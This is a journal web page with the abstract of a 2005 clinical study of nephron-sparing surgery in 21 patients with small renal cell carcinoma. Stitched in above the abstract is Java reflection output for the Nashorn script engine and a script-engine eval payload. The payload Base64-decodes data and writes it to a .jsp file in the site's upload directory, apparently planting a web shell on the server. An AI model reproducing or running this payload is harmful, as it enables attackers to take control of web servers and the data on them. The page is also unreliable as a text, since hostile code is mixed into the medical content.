public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2005, Vol. 25 ›› Issue (03): 357-359.

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Nephron-sparing surgery for small renal cell carcinoma: clinical analysis of 21 cases

XIAO Yao-jun, ZHENG Shao-bin, TAN Wan-long, CHEN Tong, QI Huan, SHAO Zhi-qiang, JIANG Yao-dong, WU Peng, ZHANG Hui-jian   

  1. 南方医科大学南方医院泌尿外科, 广东, 广州, 510515
  • Online:2005-03-20 Published:2005-03-20

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Abstract: Objective To evaluate the clinical effects of nephron-sparing surgery in patients with early-stage small renal cell carcinoma.Methods Nephron-sparing surgery was performed in 21 patients with renal cell carcinoma including 1 with solitary kidney, 3 with unilateral tumor and contralateral renal compromise, and 17 with unilateral tumor and normal contralateral kidney. The diameter of the tumors ranged from 1.5 to 6.0cm, with a mean of 2.8cm. The tumor diameter in 17 patients with normal contralateral kidney was less than 4cm (mean 2.5 cm) and the average diameter in 4 patients with contralateral renal compromise was 4.2 cm. Sixteen cases were in stage T1,4 in stage T2, and 1 in stage T3. Of the 21 patients, 4 underwent tumor enucleation, 10 polar nephrectomy and 7 wedge resection.Results All patients were followed up for an average of 40.8 months (7 to 66 months). One patient suffered a right lung and mediastinum metastasis 3 years after the surgery later and 1 with chronic glomerulonephritis required dialysis 27 months after the operation. No surgical complication or local recurrence were found in other patients.Conclusion As a safe and effective therapy for early-stage small renal cell carcinoma, nephron-sparing surgery can be considered as the gold-standard therapy for patients with lesions less than 4cm in T1 and T2 stages of localized unilateral tumor with normal contralateral kidney.

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